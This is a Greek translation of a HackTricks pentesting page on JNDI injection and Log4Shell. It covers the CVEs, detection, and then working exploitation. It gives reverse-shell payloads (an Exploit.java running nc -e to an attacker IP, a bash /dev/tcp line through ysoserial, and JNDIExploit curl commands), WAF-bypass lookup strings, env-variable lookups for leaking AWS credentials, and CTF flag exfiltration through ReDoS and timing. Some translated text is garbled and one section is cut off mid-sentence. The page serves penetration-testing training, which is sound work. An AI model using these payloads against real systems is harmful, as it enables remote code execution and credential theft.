Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

44 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Το JNDI, ενσωματωμένο στην Java από τα τέλη της δεκαετίας του 1990, λειτουργεί ως υπηρεσία καταλόγου, επιτρέποντας σε προγράμματα Java να εντοπίζουν δεδομένα ή αντικείμενα μέσω ενός συστήματος ονοματολογίας. Υποστηρίζει διάφορες υπηρεσίες καταλόγου μέσω διεπαφών παροχέα υπηρεσιών (SPIs), επιτρέποντας την ανάκτηση δεδομένων από διαφορετικά συστήματα, συμπεριλαμβανομένων απομακρυσμένων αντικειμένων Java. Συνήθεις SPIs περιλαμβάνουν το CORBA COS, το Μητρώο Java RMI και το LDAP.

Αναφορά Ονοματολογίας JNDI

Τα αντικείμενα Java μπορούν να αποθηκεύονται και ανακτώνται χρησιμοποιώντας Αναφορές Ονοματολογίας JNDI, οι οποίες έρχονται σε δύο μορφές:

  • Διευθύνσεις Αναφοράς: Καθορίζουν την τοποθεσία ενός αντικειμένου (π.χ., rmi://server/ref), επιτρέποντας την άμεση ανάκτηση από την καθορισμένη διεύθυνση.
  • Απομακρυσμένο Εργοστάσιο: Αναφέρεται σε μια απομακρυσμένη κλάση εργοστασίου. Όταν προσπελαστεί, η κλάση λήψης και εκκίνησης από την απομακρυσμένη τοποθεσία.

Ωστόσο, αυτός ο μηχανισμός μπορεί να εκμεταλλευτεί, με δυνητική εκτέλεση και φόρτωση αυθαίρετου κώδικα. Ως αντίμετρο:

  • RMI: java.rmi.server.useCodeabseOnly = true από προεπιλογή από JDK 7u21, περιορίζοντας τη φόρτωση απομακρυσμένων αντικειμένων. Ένας Διαχειριστής Ασφαλείας περιορίζει περαιτέρω το τι μπορεί να φορτωθεί.
  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false από προεπιλογή από JDK 6u141, 7u131, 8u121, αποκλείοντας την εκτέλεση απομακρυσμένων αντικειμένων Java. Εάν οριστεί σε true, η απομακρυσμένη εκτέλεση κώδικα είναι δυνατή χωρίς επίβλεψη Διαχειριστή Ασφαλείας.
  • CORBA: Δεν έχει συγκεκριμένη ιδιότητα, αλλά ο Διαχειριστής Ασφαλείας είναι πάντα ενεργός.

Ωστόσο, ο Διαχειριστής Ονοματολογίας, υπεύθυνος για την επίλυση των συνδέσεων JNDI, δεν διαθέτει ενσωματωμένα μηχανισμούς ασφαλείας, με την πιθανότητα ανάκτησης αντικειμένων από οποιαδήποτε πηγή. Αυτό αποτελεί κίνδυνο καθώς οι προστασίες RMI, LDAP και CORBA μπορούν να παρακαμφθούν, οδηγώντας στη φόρτωση αυθαίρετων αντικειμένων Java ή στην εκμετάλλευση υπαρχόντων συστατικών εφαρμογής (gadgets) για την εκτέλεση κακόβουλου κώδικα.

Παραδείγματα εκμεταλλεύσιμων διευθύνσεων URL περιλαμβάνουν:

  • rmi://attacker-server/bar
  • ldap://attacker-server/bar
  • iiop://attacker-server/bar

Παρά τις προστασίες, παραμένουν ευπαθείς σημεία, κυρίως λόγω της έλλειψης προστασίας κατά τη φόρτωση JNDI από μη αξιόπιστες πηγές και τη δυνατότητα παράκαμψης των υπαρχουσών προστασιών.

Παράδειγμα JNDI

Ακόμα κι αν έχετε ορίσει ένα PROVIDER_URL, μπορείτε να υποδείξετε ένα διαφορετικό σε μια αναζήτηση και θα προσπελαστεί: ctx.lookup("<attacker-controlled-url>") και αυτό είναι αυτό που ένας επιτιθέμενος θα εκμεταλλευτεί για να φορτώσει αυθαίρετα αντικείμενα από ένα σύστημα που ελέγχει.

Επισκόπηση CORBA

Το CORBA (Common Object Request Broker Architecture) χρησιμοποιεί ένα Αντισταθμίσιμο Αναφοράς Αντικειμένου (IOR) για τη μοναδική ταυτοποίηση απομακρυσμένων αντικειμένων. Αυτή η αναφορά περιλαμβάνει βασικές πληροφορίες όπως:

  • Αναγνωριστικό Τύπου: Μοναδικό αναγνωριστικό για μια διεπαφή.
  • Βάση Κώδικα: URL για την απόκτηση της κλάσης stub.

Σημαντικό να σημειωθεί ότι το CORBA δεν είναι ευάλωτο από μόνο του. Η διασφάλιση της ασφάλειας συνήθως περιλαμβάνει:

  • Εγκατάσταση ενός Διαχειριστή Ασφαλείας.
  • Ρύθμιση του Διαχειριστή Ασφαλείας για να επιτρέπει συνδέσεις σε πιθανώς κακόβουλες βάσεις κώδικα. Αυτό μπορεί να επιτευχθεί μέσω:
  • Άδειας Socket, π.χ., permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • Άδειας ανάγνωσης αρχείων, είτε καθολικά (permission java.io.FilePermission "<<ALL FILES>>", "read";) είτε για συγκεκριμένους καταλόγους όπου ενδέχεται να τοποθετηθούν κακόβουλα αρχεία.

Ωστόσο, ορισμένες πολιτικές προμηθευτών ενδέχεται να είναι επιεικείς και να επιτρέπουν αυτές τις συνδέσεις από προεπιλογή.

Περιβάλλον RMI

Για το RMI (Remote Method Invocation), η κατάσταση είναι κάπως διαφορετική. Όπως και με το CORBA, η φόρτωση αυθαίρετων κλάσεων περιορίζεται από προεπιλογή. Για να εκμεταλλευτεί κανείς το RMI, συνήθως θα χρειαστεί να παρακάμψει τον Διαχειριστή Ασφαλείας, μια επιτυχία που είναι επίσης σημαντική στο CORBA.

LDAP

Καταρχάς, πρέπει να διακρίνουμε μεταξύ Αναζήτησης και Αναζήτησης.
Μια αναζήτηση θα χρησιμοποιήσει ένα URL όπως `ldap://localhost:389/o=JNDIT

Επισκόπηση των CVEs που σχετίζονται με το Log4Shell

CVE-2021-44228 [Κρίσιμο]

Αυτή η ευπάθεια είναι ένα κρίσιμο σφάλμα μη αξιόπιστης απεικονιοποίησης στο στοιχείο log4j-core, επηρεάζοντας εκδόσεις από 2.0-beta9 έως 2.14.1. Επιτρέπει την εκτέλεση κώδικα από απόσταση (RCE), επιτρέποντας στους επιτιθέμενους να αναλάβουν τα συστήματα. Το πρόβλημα αναφέρθηκε από τον Chen Zhaojun από την Ομάδα Ασφαλείας του Alibaba Cloud και επηρεάζει διάφορα πλαίσια Apache. Η αρχική διόρθωση στην έκδοση 2.15.0 ήταν ανεπαρκής. Οι κανόνες Sigma για την άμυνα είναι διαθέσιμοι (Κανόνας 1, Κανόνας 2).

CVE-2021-45046 [Κρίσιμο]

Αρχικά ταξινομημένο ως χαμηλού κινδύνου αλλά αργότερα αναβαθμίστηκε σε κρίσιμο, αυτό το CVE είναι ένα σφάλμα Άρνησης Υπηρεσίας (DoS) που προκύπτει από μια ανεπαρκή διόρθωση στην έκδοση 2.15.0 για το CVE-2021-44228. Επηρεάζει μη προεπιλεγμένες ρυθμίσεις, επιτρέποντας στους επιτιθέμενους να προκαλέσουν επιθέσεις DoS μέσω προσεκτικών φορτίων. Ένα tweet παρουσιάζει έναν τρόπο παράκαμψης. Το πρόβλημα επιλύεται στις εκδόσεις 2.16.0 και 2.12.2 με την αφαίρεση μοτίβων αναζήτησης μηνυμάτων και την απενεργοποίηση του JNDI από προεπιλογή.

CVE-2021-4104 [Υψηλό]

Επηρεάζοντας τις εκδόσεις Log4j 1.x σε μη προεπιλεγμένες ρυθμίσεις χρησιμοποιώντας το JMSAppender, αυτό το CVE είναι ένα σφάλμα μη αξιόπιστης απεικονιοποίησης. Δεν υπάρχει διόρθωση για το κλαδί 1.x, το οποίο έχει φτάσει στο τέλος της ζωής του, και συνιστάται η αναβάθμιση στο log4j-core 2.17.0.

CVE-2021-42550 [Μέτριο]

Αυτή η ευπάθεια επηρεάζει το πλαίσιο καταγραφής Logback, ένα διάδοχο του Log4j 1.x. Προηγουμένως θεωρείτο ασφαλές, το πλαίσιο βρέθηκε ευάλωτο και έχουν κυκλοφορήσει νεότερες εκδόσεις (1.3.0-alpha11 και 1.2.9) για να αντιμετωπίσουν το πρόβλημα.

CVE-2021-45105 [Υψηλό]

Το Log4j 2.16.0 περιέχει ένα σφάλμα DoS, που οδήγησε στην έκδοση του log4j 2.17.0 για τη διόρθωση του CVE. Περισσότερες λεπτομέρειες υπάρχουν στην αναφορά του BleepingComputer εδώ.

CVE-2021-44832

Επηρεάζοντας την έκδοση log4j 2.17, αυτό το CVE απαιτεί από τον επιτιθέμενο να ελέγχει το αρχείο ρυθμίσεων του log4j. Περιλαμβάνει την πιθανή εκτέλεση αυθαίρετου κώδικα μέσω ενός ρυθμισμένου JDBCAppender. Περισσότερες λεπτομέρειες είναι διαθέσιμες στην ανάρτηση ιστολογίου της Checkmarx.

Εκμετάλλευση του Log4Shell

Ανακάλυψη

Αυτή η ευπάθεια είναι πολύ εύκολη να ανακαλυφθεί αν δεν προστατεύεται, επειδή θα στείλει τουλάχιστον μια αίτηση DNS στη διεύθυνση που υποδεικνύετε στο φορτίο σας. Συνεπώς, φορτία όπως:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (χρησιμοποιώντας canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (χρησιμοποιώντας interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (χρησιμοποιώντας το Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (χρησιμοποιώντας dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} χρησιμοποιώντας (χρησιμοποιώντας huntress)

Σημειώστε ότι ακόμα κι αν ληφθεί μια αίτηση DNS αυτό δεν σημαίνει ότι η εφαρμογή είναι εκτεθειμένη (ή ακόμα και ευάλωτη), θα πρέπει να προσπαθήσετε να την εκμεταλλευτείτε.

{% hint style="info" %} Θυμηθείτε ότι για να εκμεταλλευτείτε την έκδοση 2.15 πρέπει να προσθέσετε την παράκαμψη ελέγχου τοπικού υπολογιστή: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Τοπική Ανακάλυψη

Αναζητήστε τοπικές ευάθειες εκδόσεις της βιβλιοθήκης με:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Επαλήθευση

Κάποιες από τις πλατφόρμες που αναφέρθηκαν προηγουμένως θα σας επιτρέψουν να εισάγετε μερικά μεταβλητά δεδομένα που θα καταγραφούν όταν ζητηθούν.
Αυτό μπορεί να είναι πολύ χρήσιμο για 2 πράγματα:

  • Για την επαλήθευση της ευπάθειας
  • Για την εξαγωγή πληροφοριών καταχρώμενοι την ευπάθεια

Για παράδειγμα, θα μπορούσατε να ζητήσετε κάτι σαν:
ή σαν ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} και αν ληφθεί μια αίτηση DNS με την τιμή της μεταβλητής περιβάλλοντος, τότε γνωρίζετε ότι η εφαρμογή είναι ευάλωτη.

Άλλες πληροφορίες που θα μπορούσατε να προσπαθήσετε να διαρρεύσετε:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Πληροφορίες RCE

{% hint style="info" %} Οι υπολογιστές που εκτελούνται σε εκδόσεις JDK πάνω από 6u141, 7u131 ή 8u121 προστατεύονται από το διάνυσμα επίθεσης φόρτωσης κλάσης LDAP. Αυτό οφείλεται στην προεπιλεγμένη απενεργοποίηση του com.sun.jndi.ldap.object.trustURLCodebase, το οποίο εμποδίζει το JNDI από το να φορτώσει ένα απομακρυσμένο codebase μέσω LDAP. Ωστόσο, είναι σημαντικό να σημειωθεί ότι αυτές οι εκδόσεις δεν προστατεύονται ενάντια στο διάνυσμα επίθεσης αποσειριοποίησης.

Για τους επιτιθέμενους που στοχεύουν να εκμεταλλευτούν αυτές τις υψηλότερες εκδόσεις JDK, είναι απαραίτητο να χρησιμοποιήσουν ένα αξιόπιστο gadget μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά πιο εύκολη καθώς αυτές οι εκδόσεις μπορούν να ρυθμιστούν για να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.

Για περισσότερες πληροφορίες (όπως περιορισμοί στα διανύσματα RMI και CORBA) ελέγξτε την προηγούμενη ενότητα αναφοράς ονομασίας JNDI ή https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec με προσαρμοσμένο φορτίο

Μπορείτε να δοκιμάσετε αυτό στο κουτί THM: https://tryhackme.com/room/solar

Χρησιμοποιήστε το εργαλείο marshalsec (διαθέσιμη η έκδοση jar εδώ). Αυτή η προσέγγιση δημιουργεί έναν διακλάδωση LDAP για να ανακατευθύνει τις συνδέσεις σε ένα δευτερεύον HTTP server όπου θα φιλοξενείται η εκμετάλλευση:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Για να προτρέψετε τον στόχο να φορτώσει κώδικα αντιστρεπτικού κελύφους, δημιουργήστε ένα αρχείο Java με το όνομα Exploit.java με το παρακάτω περιεχόμενο:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Μεταγλωττίστε το αρχείο Java σε ένα αρχείο κλάσης χρησιμοποιώντας: javac Exploit.java -source 8 -target 8. Στη συνέχεια, εκκινήστε ένα HTTP server στον κατάλογο που περιέχει το αρχείο κλάσης με: python3 -m http.server. Βεβαιωθείτε ότι ο marshalsec LDAP server αναφέρεται σε αυτόν τον HTTP server.

Ενεργοποιήστε την εκτέλεση της κλάσης εκμετάλλευσης στο ευάλωτο web server αποστέλλοντας ένα φορτίο που μοιάζει με:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Σημείωση: Αυτή η εκμετάλλευση βασίζεται στη διαμόρφωση της Java που επιτρέπει τη μακρινή φόρτωση κώδικα μέσω του LDAP. Εάν αυτό δεν επιτρέπεται, σκεφτείτε την εκμετάλλευση ενός αξιόπιστου τάξης για την εκτέλεση αυθαίρετου κώδικα.

RCE - JNDIExploit

{% hint style="info" %} Σημειώστε ότι για κάποιο λόγο ο συγγραφέας αφαίρεσε αυτό το έργο από το github μετά την ανακάλυψη του log4shell. Μπορείτε να βρείτε μια αποθηκευμένη έκδοση στο https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 αλλά αν θέλετε να σεβαστείτε την απόφαση του συγγραφέα, χρησιμοποιήστε ένα διαφορετικό τρόπο για την εκμετάλλευση αυτού του ευπαθούς σημείου.

Επιπλέον, δεν μπορείτε να βρείτε τον πηγαίο κώδικα στο wayback machine, οπότε είτε αναλύστε τον πηγαίο κώδικα, είτε εκτελέστε το jar γνωρίζοντας ότι δεν ξέρετε τι εκτελείτε. {% endhint %}

Για αυτό το παράδειγμα μπορείτε απλά να εκτελέσετε αυτόν τον ευπαθή διακομιστή web για το log4shell στη θύρα 8080: https://github.com/christophetd/log4shell-vulnerable-app (στο README θα βρείτε πώς να τον εκτελέσετε). Αυτή η ευπαθής εφαρμογή καταγράφει με μια ευπαθή έκδοση του log4shell το περιεχόμενο της κεφαλίδας αιτήματος HTTP X-Api-Version.

Στη συνέχεια, μπορείτε να κατεβάσετε το αρχείο JNDIExploit jar και να το εκτελέσετε με:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Μετά την ανάγνωση του κώδικα μόλις λίγα λεπτά, στο com.feihong.ldap.LdapServer και com.feihong.ldap.HTTPServer μπορείτε να δείτε πώς δημιουργούνται οι διακομιστές LDAP και HTTP. Ο διακομιστής LDAP θα καταλάβει ποιο φορτίο χρειάζεται να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον διακομιστή HTTP, ο οποίος θα εξυπηρετήσει την εκμετάλλευση.
Στο com.feihong.ldap.gadgets μπορείτε να βρείτε κάποιες συγκεκριμένες συσκευές που μπορούν να χρησιμοποιηθούν για να εκτελεστεί η επιθυμητή ενέργεια (ενδεχομένως να εκτελεστεί αυθαίρετος κώδικας). Και στο com.feihong.ldap.template μπορείτε να δείτε τις διαφορετικές κλάσεις προτύπων που θα δημιουργήσουν τις εκμεταλλεύσεις.

Μπορείτε να δείτε όλες τις διαθέσιμες εκμεταλλεύσεις με java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Κάποιες χρήσιμες είναι:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Έτσι, στο παράδειγμά μας, έχουμε ήδη την ευάλωτη εφαρμογή docker που τρέχει. Για να την επιτεθούμε:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Κατά την αποστολή των επιθέσεων θα δείτε κάποια αποτελέσματα στο τερματικό όπου εκτελέστηκε το JNDIExploit-1.2-SNAPSHOT.jar.

Θυμηθείτε να ελέγξετε java -jar JNDIExploit-1.2-SNAPSHOT.jar -u για άλλες επιλογές εκμετάλλευσης. Επιπλέον, σε περίπτωση που το χρειάζεστε, μπορείτε να αλλάξετε τη θύρα των διακομιστών LDAP και HTTP.

RCE - JNDI-Exploit-Kit

Με παρόμοιο τρόπο με την προηγούμενη εκμετάλλευση, μπορείτε να δοκιμάσετε να χρησιμοποιήσετε το JNDI-Exploit-Kit για να εκμεταλλευτείτε αυτήν την ευπάθεια.
Μπορείτε να δημιουργήσετε τα URLs προς αποστολή στο θύμα εκτελώντας:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμοσμένο δημιουργημένο αντικείμενο Java θα λειτουργήσει σε εργαστήρια όπως το THM solar room. Ωστόσο, αυτό συνήθως δεν λειτουργεί (καθώς από προεπιλογή το Java δεν είναι ρυθμισμένο να φορτώνει απομακρυσμένη βάση κώδικα χρησιμοποιώντας LDAP) πιστεύω επειδή δεν εκμεταλλεύεται ένα αξιόπιστη κλάση για να εκτελέσει αυθαίρετο κώδικα.

RCE - ysoserial & JNDI-Exploit-Kit

Αυτή η επιλογή είναι πραγματικά χρήσιμη για επιθέσεις σε εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους. Επομένως, το ysoserial θα χρησιμοποιηθεί για τη δημιουργία σειριοποιήσεων αξιόπιστων κλάσεων που μπορούν να χρησιμοποιηθούν ως gadgets για εκτέλεση αυθαίρετου κώδικα (η αξιόπιστη κλάση που καταχράται το ysoserial πρέπει να χρησιμοποιηθεί από το πρόγραμμα Java θύματος για να λειτουργήσει η εκμετάλλευση).

Χρησιμοποιώντας το ysoserial ή ysoserial-modified μπορείτε να δημιουργήσετε την εκμετάλλευση αποσειριοποίησης που θα ληφθεί με το JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Χρησιμοποιήστε το JNDI-Exploit-Kit για να δημιουργήσετε JNDI συνδέσμους όπου το exploit θα περιμένει συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να εξυπηρετήσετε διαφορετικά exploits που μπορούν να δημιουργηθούν αυτόματα από το JNDI-Exploit-Kit ή ακόμα και τα δικά σας φορτία αποσυσκευοποίησης (που δημιουργήθηκαν από εσάς ή το ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Τώρα μπορείτε εύκολα να χρησιμοποιήσετε ένα δημιουργημένο JNDI σύνδεσμο για να εκμεταλλευτείτε την ευπάθεια και να λάβετε ένα αντίστροφο κέλυφος απλά στέλνοντας σε μια ευάθροιστη έκδοση του log4j: ${ldap://10.10.14.10:1389/generated}

Παρακάμψεις

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Αυτόματοι Σαρωτές

Εργαστήρια για Δοκιμή

Μετά την Εκμετάλλευση του Log4Shell

Σε αυτό το CTF writeup εξηγείται καλά πώς είναι πιθανό να καταχραστείτε κάποιες λειτουργίες του Log4J.

Η σελίδα ασφαλείας του Log4j περιέχει μερικές ενδιαφέρουσες προτάσεις:

Από την έκδοση 2.16.0 (για Java 8), η λειτουργία αναζήτησης μηνυμάτων έχει αφαιρεθεί πλήρως. Οι αναζητήσεις στη διαμόρφωση εξακολουθούν να λειτουργούν. Επιπλέον, το Log4j τώρα απενεργοποιεί την πρόσβαση στο JNDI από προεπιλογή. Οι αναζητήσεις JNDI στη διαμόρφωση πρέπει πλέον να ενεργοποιούνται ρητά.

Από την έκδοση 2.17.0, (και 2.12.3 και 2.3.1 για Java 7 και Java 6), μόνο οι συμβολοσειρές αναζήτησης στη διαμόρφωση επεκτείνονται αναδρομικά. Σε οποιαδήποτε άλλη χρήση, επιλύεται μόνο η αναζήτηση στο επίπεδο κορυφής, και οι οποιεσδήποτε ενσωματωμένες αναζητήσεις δεν επιλύονται.

Αυτό σημαίνει ότι από προεπιλογή μπορείτε να ξεχάσετε τη χρήση οποιασδήποτε εκμετάλλευσης jndi. Επιπλέον, για να εκτελέσετε αναδρομικές αναζητήσεις πρέπει να τις έχετε διαμορφώσει.

Για παράδειγμα, σε αυτό το CTF αυτό ήταν διαμορφωμένο στο αρχείο log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Αναζητήσεις Περιβάλλοντος

Σε αυτό το CTF, ο επιτιθέμενος ελέγχει την τιμή του ${sys:cmd} και χρειαζόταν να εξαγάγει τη σημαία από μια μεταβλητή περιβάλλοντος.
Όπως φαίνεται σε αυτήν τη σελίδα στα προηγούμενα payloads υπάρχουν διάφοροι τρόποι πρόσβασης σε μεταβλητές περιβάλλοντος, όπως: ${env:FLAG}. Σε αυτό το CTF αυτό ήταν άχρηστο, αλλά μπορεί να μην είναι σε άλλα πραγματικά σενάρια.

Εξαγωγή μέσω Εξαιρέσεων

Στο CTF, δεν μπορούσατε να έχετε πρόσβαση στο stderr της εφαρμογής Java χρησιμοποιώντας το log4J, αλλά οι εξαιρέσεις του Log4J στέλνονται στο stdout, το οποίο εκτυπώνεται στην εφαρμογή Python. Αυτό σήμαινε ότι εκτυπώνοντας μια εξαίρεση μπορούσαμε να έχουμε πρόσβαση στο περιεχόμενο. Μια εξαίρεση για την εξαγωγή της σημαίας ήταν: ${java:${env:FLAG}}. Αυτό λειτουργεί επειδή ${java:CTF{blahblah}} δεν υπάρχει και μια εξαίρεση με την τιμή της σημαίας θα εμφανιστεί:

Εξαιρέσεις Μοτίβων Μετατροπής

Απλά για να το αναφέρουμε, θα μπορούσατε επίσης να ενθέτετε νέα μοτίβα μετατροπής και να προκαλείτε εξαιρέσεις που θα καταγράφονται στο stdout. Για παράδειγμα:

Αυτό δεν βρέθηκε χρήσιμο για την εξαγωγή ημερομηνίας μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν είχε λυθεί πριν το μοτίβο μετατροπής, αλλά θα μπορούσε να είναι χρήσιμο για άλλα πράγματα, όπως η ανίχνευση.

Μοτίβα Μετατροπής Ρυθμίσεων

Ωστόσο, είναι δυνατόν να χρησιμοποιηθούν μερικά μοτίβα μετατροπής που υποστηρίζουν regexes για την εξαγωγή πληροφοριών από μια αναζήτηση χρησιμοποιώντας regexes και καταχρώντας τη συμπεριφορά δυαδικής αναζήτησης ή βασισμένη στο χρόνο.

  • Δυαδική αναζήτηση μέσω μηνυμάτων εξαιρέσεων

Το μοτίβο μετατροπής %replace μπορεί να χρησιμοποιηθεί για να αντικαταστήσει περιεχόμενο από ένα συμβολοσειρά ακόμη και χρησιμοποιώντας regexes. Λειτουργεί ως εξής: replace{pattern}{regex}{substitution}
Καταχρώντας αυτήν τη συμπεριφορά μπορείτε να κάνετε την αντικατάσταση να προκαλέσει μια εξαίρεση αν το regex ταιριάζει με οτιδήποτε μέσα στη συμβολοσειρά (και χωρίς εξαίρεση αν δεν βρεθεί) όπως αυτό:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Βασισμένο στον χρόνο

Όπως αναφέρθηκε στην προηγούμενη ενότητα, το %replace υποστηρίζει regexes. Έτσι είναι δυνατόν να χρησιμοποιηθεί φορτίο από τη σελίδα ReDoS για να προκαλέσει timeout σε περίπτωση που βρεθεί η σημαία.
Για παράδειγμα, ένα φορτίο όπως %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} θα προκαλούσε ένα timeout σε αυτό το CTF.

Σε αυτό το writeup, αντί να χρησιμοποιηθεί επίθεση ReDoS, χρησιμοποιήθηκε μια επίθεση ενίσχυσης για να προκαλέσει διαφορά χρόνου στην απόκριση:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Αν η σημαία ξεκινά με flagGuess, ολόκληρη η σημαία αντικαθίσταται με 29 # (χρησιμοποίησα αυτό το χαρακτήρα επειδή πιθανότατα δεν θα αποτελεί μέρος της σημαίας). Κάθε ένα από τα 29 # αντικαθίσταται με 54 #. Αυτή η διαδικασία επαναλαμβάνεται 6 φορές, οδηγώντας σε συνολικά 29*54*54^6* =`` ``96816014208 #!

Η αντικατάσταση τόσων πολλών # θα προκαλέσει το timeout 10 δευτερολέπτων της εφαρμογής Flask, που στη συνέχεια θα οδηγήσει στην αποστολή του κωδικού κατάστασης HTTP 500 στον χρήστη. (Αν η σημαία δεν ξεκινά με flagGuess, θα λάβουμε έναν μη-κωδικό κατάστασης 500)

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks: